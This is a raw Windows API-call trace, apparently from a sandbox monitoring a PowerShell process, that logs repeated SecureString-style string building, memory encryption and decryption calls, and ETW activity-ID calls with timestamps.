(param_1="\x3e55\x1d19\xe224\xf354\x7aa0\xb515\xbbc4\xacef\xc36\xaf37\x4fc8\x70fb\xdd2b\x971c\x45ec\x463c\xd6de\x82a4\xcdec\xc563\xea9d\x85b6\xa662\x2c94\xa15a\xe145\xcdd2\x174c\xb9a3\x977b\x55c5\x56ab\xdd74\x7980\x2ca9\x93db\xab1b\xdc60\xbc1d\x92d9") returned 0x28 [0136.261] SystemFunction041 (in: Memory=0x8ebf954, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf954) returned 0x0 [0136.262] SysStringLen (param_1="L4EFALRIrAlEHvOQ4llscnjHTkEHZHnqkZGEzPှ晸") returned 0x28 [0136.263] SystemFunction040 (in: Memory=0x8ebf954, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf954) returned 0x0 [0136.263] SysStringLen (param_1="\x3e55\x1d19\xe224\xf354\x7aa0\xb515\xbbc4\xacef\xc36\xaf37\x4fc8\x70fb\xdd2b\x971c\x45ec\x463c\xd6de\x82a4\xcdec\xc563\xea9d\x85b6\xa662\x2c94\xa15a\xe145\xcdd2\x174c\xb9a3\x977b\x55c5\x56ab\x40ea\xf429\xd9f6\xc3be\xebac\xd896\x7799\x8b4a") returned 0x28 [0136.263] SysStringLen (param_1="\x3e55\x1d19\xe224\xf354\x7aa0\xb515\xbbc4\xacef\xc36\xaf37\x4fc8\x70fb\xdd2b\x971c\x45ec\x463c\xd6de\x82a4\xcdec\xc563\xea9d\x85b6\xa662\x2c94\xa15a\xe145\xcdd2\x174c\xb9a3\x977b\x55c5\x56ab\x40ea\xf429\xd9f6\xc3be\xebac\xd896\x7799\x8b4a") returned 0x28 [0136.263] SystemFunction041 (in: Memory=0x8ebf954, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf954) returned 0x0 [0136.263] SysStringLen (param_1="L4EFALRIrAlEHvOQ4llscnjHTkEHZHnqkZGEzPW晸") returned 0x28 [0136.263] SystemFunction040 (in: Memory=0x8ebf954, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf954) returned 0x0 [0136.263] SysStringLen (param_1="\x3e55\x1d19\xe224\xf354\x7aa0\xb515\xbbc4\xacef\xc36\xaf37\x4fc8\x70fb\xdd2b\x971c\x45ec\x463c\xd6de\x82a4\xcdec\xc563\xea9d\x85b6\xa662\x2c94\xa15a\xe145\xcdd2\x174c\xb9a3\x977b\x55c5\x56ab\xac36\x556b\xde05\x9f39\x42d1\x39d\x36ef\xa2c3") returned 0x28 [0136.263] SysStringLen (param_1="\x3e55\x1d19\xe224\xf354\x7aa0\xb515\xbbc4\xacef\xc36\xaf37\x4fc8\x70fb\xdd2b\x971c\x45ec\x463c\xd6de\x82a4\xcdec\xc563\xea9d\x85b6\xa662\x2c94\xa15a\xe145\xcdd2\x174c\xb9a3\x977b\x55c5\x56ab\xac36\x556b\xde05\x9f39\x42d1\x39d\x36ef\xa2c3") returned 0x28 [0136.263] SystemFunction041 (in: Memory=0x8ebf954, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf954) returned 0x0 [0136.263] SysStringLen (param_1="L4EFALRIrAlEHvOQ4llscnjHTkEHZHnqkZGEzPWz") returned 0x28 [0136.263] SystemFunction040 (in: Memory=0x8ebf954, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x8ebf954) returned 0x0 [0136.263] SysStringLen (param_1="\x3e55\x1d19\xe224\xf354\x7aa0\xb515\xbbc4\xacef\xc36\xaf37\x4fc8\x70fb\xdd2b\x971c\x45ec\x463c\xd6de\x82a4\xcdec\xc563\xea9d\x85b6\xa662\x2c94\xa15a\xe145\xcdd2\x174c\xb9a3\x977b\x55c5\x56ab\xfb56\x4146\xddc4\xc234\x2892\xe809\xc779\x7209") returned 0x28 [0136.263] SysStringLen (param_1="\x3e55\x1d19\xe224\xf354\x7aa0\xb515\xbbc4\xacef\xc36\xaf37\x4fc8\x70fb\xdd2b\x971c\x45ec\x463c\xd6de\x82a4\xcdec\xc563\xea9d\x85b6\xa662\x2c94\xa15a\xe145\xcdd2\x174c\xb9a3\x977b\x55c5\x56ab\xfb56\x4146\xddc4\xc234\x2892\xe809\xc779\x7209") returned 0x28 [0136.263] SysStringLen (param_1="\x3e55\x1d19\xe224\xf354\x7aa0\xb515\xbbc4\xacef\xc36\xaf37\x4fc8\x70fb\xdd2b\x971c\x45ec\x463c\xd6de\x82a4\xcdec\xc563\xea9d\x85b6\xa662\x2c94\xa15a\xe145\xcdd2\x174c\xb9a3\x977b\x55c5\x56ab\xfb56\x4146\xddc4\xc234\x2892\xe809\xc779\x7209") returned 0x28 [0136.263] SysStringLen (param_1="\x3e55\x1d19\xe224\xf354\x7aa0\xb515\xbbc4\xacef\xc36\xaf37\x4fc8\x70fb\xdd2b\x971c\x45ec\x463c\xd6de\x82a4\xcdec\xc563\xea9d\x85b6\xa662\x2c94\xa15a\xe145\xcdd2\x174c\xb9a3\x977b\x55c5\x56ab\xfb56\x4146\xddc4\xc234\x2892\xe809\xc779\x7209") returned 0x30 [0136.263] SystemFunction041 (in: Memory=0x8e315d4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e315d4) returned 0x0 [0136.264] SysStringLen (param_1="L4EFALRIrAlEHvOQ4llscnjHTkEHZHnqkZGEzPWz9䅬꺌쌲ﲜ节䋚") returned 0x30 [0136.264] SystemFunction040 (in: Memory=0x8e315d4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e315d4) returned 0x0 [0136.264] SysStringLen (param_1="\x3e55\x1d19\xe224\xf354\x7aa0\xb515\xbbc4\xacef\xc36\xaf37\x4fc8\x70fb\xdd2b\x971c\x45ec\x463c\xd6de\x82a4\xcdec\xc563\xea9d\x85b6\xa662\x2c94\xa15a\xe145\xcdd2\x174c\xb9a3\x977b\x55c5\x56ab\xfb56\x4146\xddc4\xc234\x2892\xe809\xc779\x7209\xce72\xe511\x799\xa42e\xee49\xead0\xbca6\xbc01") returned 0x30 [0136.264] SysStringLen (param_1="\x3e55\x1d19\xe224\xf354\x7aa0\xb515\xbbc4\xacef\xc36\xaf37\x4fc8\x70fb\xdd2b\x971c\x45ec\x463c\xd6de\x82a4\xcdec\xc563\xea9d\x85b6\xa662\x2c94\xa15a\xe145\xcdd2\x174c\xb9a3\x977b\x55c5\x56ab\xfb56\x4146\xddc4\xc234\x2892\xe809\xc779\x7209\xce72\xe511\x799\xa42e\xee49\xead0\xbca6\xbc01") returned 0x30 [0136.264] SystemFunction041 (in: Memory=0x8e315d4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e315d4) returned 0x0 [0136.264] SysStringLen (param_1="L4EFALRIrAlEHvOQ4llscnjHTkEHZHnqkZGEzPWz9H꺌쌲ﲜ节䋚") returned 0x30 [0136.264] SystemFunction040 (in: Memory=0x8e315d4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e315d4) returned 0x0 [0136.264] SysStringLen (param_1="\x3e55\x1d19\xe224\xf354\x7aa0\xb515\xbbc4\xacef\xc36\xaf37\x4fc8\x70fb\xdd2b\x971c\x45ec\x463c\xd6de\x82a4\xcdec\xc563\xea9d\x85b6\xa662\x2c94\xa15a\xe145\xcdd2\x174c\xb9a3\x977b\x55c5\x56ab\xfb56\x4146\xddc4\xc234\x2892\xe809\xc779\x7209\x81e9\x3c0f\xd32e\x613e\x3ecb\x34f3\xbf18\xfb94") returned 0x30 [0136.264] SysStringLen (param_1="\x3e55\x1d19\xe224\xf354\x7aa0\xb515\xbbc4\xacef\xc36\xaf37\x4fc8\x70fb\xdd2b\x971c\x45ec\x463c\xd6de\x82a4\xcdec\xc563\xea9d\x85b6\xa662\x2c94\xa15a\xe145\xcdd2\x174c\xb9a3\x977b\x55c5\x56ab\xfb56\x4146\xddc4\xc234\x2892\xe809\xc779\x7209\x81e9\x3c0f\xd32e\x613e\x3ecb\x34f3\xbf18\xfb94") returned 0x30 [0136.264] SystemFunction041 (in: Memory=0x8e315d4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e315d4) returned 0x0 [0136.264] SysStringLen (param_1="L4EFALRIrAlEHvOQ4llscnjHTkEHZHnqkZGEzPWz9Ho쌲ﲜ节䋚") returned 0x30 [0136.264] SystemFunction040 (in: Memory=0x8e315d4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e315d4) returned 0x0 [0136.264] SysStringLen (param_1="\x3e55\x1d19\xe224\xf354\x7aa0\xb515\xbbc4\xacef\xc36\xaf37\x4fc8\x70fb\xdd2b\x971c\x45ec\x463c\xd6de\x82a4\xcdec\xc563\xea9d\x85b6\xa662\x2c94\xa15a\xe145\xcdd2\x174c\xb9a3\x977b\x55c5\x56ab\xfb56\x4146\xddc4\xc234\x2892\xe809\xc779\x7209\x5c17\x189\x3d41\x7560\xcf46\x3ad1\xb8ae\x5fd5") returned 0x30 [0136.264] SysStringLen (param_1="\x3e55\x1d19\xe224\xf354\x7aa0\xb515\xbbc4\xacef\xc36\xaf37\x4fc8\x70fb\xdd2b\x971c\x45ec\x463c\xd6de\x82a4\xcdec\xc563\xea9d\x85b6\xa662\x2c94\xa15a\xe145\xcdd2\x174c\xb9a3\x977b\x55c5\x56ab\xfb56\x4146\xddc4\xc234\x2892\xe809\xc779\x7209\x5c17\x189\x3d41\x7560\xcf46\x3ad1\xb8ae\x5fd5") returned 0x30 [0136.264] SystemFunction041 (in: Memory=0x8e315d4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e315d4) returned 0x0 [0136.264] SysStringLen (param_1="L4EFALRIrAlEHvOQ4llscnjHTkEHZHnqkZGEzPWz9Ho=ﲜ节䋚") returned 0x30 [0136.264] SystemFunction040 (in: Memory=0x8e315d4, MemorySize=0x60, OptionFlags=0x0 | out: Memory=0x8e315d4) returned 0x0 [0136.265] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae778*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae778*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x49, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.265] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aeacc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeacc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x49, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.265] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x48, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x48, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.265] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae604, nSize=0x100 | out: lpBuffer="\x9fcb\x72b0\xadb8\x667\x1082\x73b6\xbab0\x42f\x108e\x73b6\xe63c\x99a\xc37\x72b2\xadb8\x667\x0b") returned 0x0 [0136.265] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae9dc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae9dc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x4a, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.265] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae93c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae93c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x48, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.265] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae9cc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x4a, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae9cc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x4a, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0136.265] SysStringLen (param_1="") returned 0x8 [0136.265] SysStringLen (param_1="Y") returned 0x8 [0136.265] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0136.265] SysStringLen (param_1="\x917a\xa91d\x5d2b\x8d5\x1c0c\x2d38\x92fc\x76bf") returned 0x8 [0136.265] SysStringLen (param_1="\x917a\xa91d\x5d2b\x8d5\x1c0c\x2d38\x92fc\x76bf") returned 0x8 [0136.265] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0136.266] SysStringLen (param_1="YW") returned 0x8 [0136.266] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0136.266] SysStringLen (param_1="ุ祥獟宒撯⊟車") returned 0x8 [0136.266] SysStringLen (param_1="ุ祥獟宒撯⊟車") returned 0x8 [0136.266] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0136.266] SysStringLen (param_1="YWM") returned 0x8 [0136.266] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0136.266] SysStringLen (param_1="\x9df0\x3643\x8738\x2a31\x9d61\xe42a\xc65f\x3c4") returned 0x8 [0136.266] SysStringLen (param_1="\x9df0\x3643\x8738\x2a31\x9d61\xe42a\xc65f\x3c4") returned 0x8 [0136.266] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0136.266] SysStringLen (param_1="YWM1") returned 0x8 [0136.266] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0136.266] SysStringLen (param_1="\x39bd\xb9a7\x9418\x1675\x10c5\xa288\x6787\x216c") returned 0x8 [0136.266] SysStringLen (param_1="\x39bd\xb9a7\x9418\x1675\x10c5\xa288\x6787\x216c") returned 0x8 [0136.266] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0136.266] SysStringLen (param_1="YWM1O") returned 0x8 [0136.266] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0136.267] SysStringLen (param_1="\xe9bc\x3a97\x4b0\x1a23\xcdf4\x6958\x923b\x897") returned 0x8 [0136.267] SysStringLen (param_1="\xe9bc\x3a97\x4b0\x1a23\xcdf4\x6958\x923b\x897") returned 0x8 [0136.267] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0136.267] SysStringLen (param_1="YWM1OT") returned 0x8 [0136.267] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0136.267] SysStringLen (param_1="䰻ᝁ哔鰷씻ꚾ∞熼") returned 0x8 [0136.267] SysStringLen (param_1="䰻ᝁ哔鰷씻ꚾ∞熼") returned 0x8 [0136.267] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0136.267] SysStringLen (param_1="YWM1OTE") returned 0x8 [0136.267] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0136.267] SysStringLen (param_1="\x55e4\x3a1\xb8de\x67f4\xb1cb\x2437\x803b\x31a4") returned 0x8 [0136.267] SysStringLen (param_1="\x55e4\x3a1\xb8de\x67f4\xb1cb\x2437\x803b\x31a4") returned 0x8 [0136.267] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0136.267] SysStringLen (param_1="YWM1OTEw") returned 0x8 [0136.267] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0136.267] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0136.267] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0136.267] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0136.267] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x10 [0136.268] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0136.268] SysStringLen (param_1="YWM1OTEwYၺ೮䏍뇟㫃鄏") returned 0x10 [0136.268] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0136.268] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xdcfe\x72ec\xf1cf\x85a7\xbfd0\x16d5\xe621\x93a2") returned 0x10 [0136.268] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xdcfe\x72ec\xf1cf\x85a7\xbfd0\x16d5\xe621\x93a2") returned 0x10 [0136.268] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0136.268] SysStringLen (param_1="YWM1OTEwYW೮䏍뇟㫃鄏") returned 0x10 [0136.268] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0136.268] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xcef2\xa6c7\xd746\xe957\x3ef3\x5872\xb88a\xad48") returned 0x10 [0136.268] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xcef2\xa6c7\xd746\xe957\x3ef3\x5872\xb88a\xad48") returned 0x10 [0136.268] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0136.268] SysStringLen (param_1="YWM1OTEwYWQ೮䏍뇟㫃鄏") returned 0x10 [0136.268] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0136.268] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x62e3\xd42b\xa577\xd150\x2c99\x571a\xcba5\x6dcc") returned 0x10 [0136.268] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x62e3\xd42b\xa577\xd150\x2c99\x571a\xcba5\x6dcc") returned 0x10 [0136.268] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0136.268] SysStringLen (param_1="YWM1OTEwYWQ4䏍뇟㫃鄏") returned 0x10 [0136.269] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0136.269] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x4231\x703b\xcf8d\xc9dc\xc02d\x7463\x9ff9\x4820") returned 0x10 [0136.269] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x4231\x703b\xcf8d\xc9dc\xc02d\x7463\x9ff9\x4820") returned 0x10 [0136.269] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0136.269] SysStringLen (param_1="YWM1OTEwYWQ4Z뇟㫃鄏") returned 0x10 [0136.269] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0136.269] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x2cff\xd5e2\x9f68\x7e8b\x32fa\x6471\x7975\x2c00") returned 0x10 [0136.269] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x2cff\xd5e2\x9f68\x7e8b\x32fa\x6471\x7975\x2c00") returned 0x10 [0136.269] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0136.269] SysStringLen (param_1="YWM1OTEwYWQ4ZT㫃鄏") returned 0x10 [0136.269] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0136.269] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x3df\xd244\xa8e3\x55c4\xf620\xe54d\xf064\x81d2") returned 0x10 [0136.269] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x3df\xd244\xa8e3\x55c4\xf620\xe54d\xf064\x81d2") returned 0x10 [0136.269] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0136.269] SysStringLen (param_1="YWM1OTEwYWQ4ZTI鄏") returned 0x10 [0136.269] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0136.269] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x879a\x7653\x5503\x7411\x9ee7\x19b3\xd3b7\x7d70") returned 0x10 [0136.269] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x879a\x7653\x5503\x7411\x9ee7\x19b3\xd3b7\x7d70") returned 0x10 [0136.269] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0136.270] SysStringLen (param_1="YWM1OTEwYWQ4ZTIz") returned 0x10 [0136.270] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0136.270] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0136.270] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0136.270] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0136.270] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x18 [0136.270] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0136.270] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNEꂰ㓋뺍᳧玡") returned 0x18 [0136.270] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0136.270] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x383f\x20d8\xebfe\xd582\x13d\xc673\xcbfc\x296a") returned 0x18 [0136.270] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x383f\x20d8\xebfe\xd582\x13d\xc673\xcbfc\x296a") returned 0x18 [0136.270] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0136.270] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGꂰ㓋뺍᳧玡") returned 0x18 [0136.270] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0136.270] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xd39c\x87f9\xe53\xbc93\x8e34\x136b\x9f58\xb9bd") returned 0x18 [0136.270] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xd39c\x87f9\xe53\xbc93\x8e34\x136b\x9f58\xb9bd") returned 0x18 [0136.270] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0136.271] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGN㓋뺍᳧玡") returned 0x18 [0136.271] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0136.271] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x83d\x526e\xa67f\x8365\xbc02\xe08d\xf33c\x953") returned 0x18 [0136.271] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x83d\x526e\xa67f\x8365\xbc02\xe08d\xf33c\x953") returned 0x18 [0136.271] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0136.271] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNh㓋뺍᳧玡") returned 0x18 [0136.271] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0136.271] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xe480\xc5f3\xb436\x41c3\xd93\xbdd2\xde23\xa39e") returned 0x18 [0136.271] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xe480\xc5f3\xb436\x41c3\xd93\xbdd2\xde23\xa39e") returned 0x18 [0136.271] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0136.271] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhM뺍᳧玡") returned 0x18 [0136.271] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0136.271] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x633a\xb9b0\x72e7\x9e3c\x6f11\xd537\x2a29\x6fe1") returned 0x18 [0136.271] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x633a\xb9b0\x72e7\x9e3c\x6f11\xd537\x2a29\x6fe1") returned 0x18 [0136.271] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0136.271] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMj᳧玡") returned 0x18 [0136.271] SystemFunction040 (in: Memory=0x8e8852c, 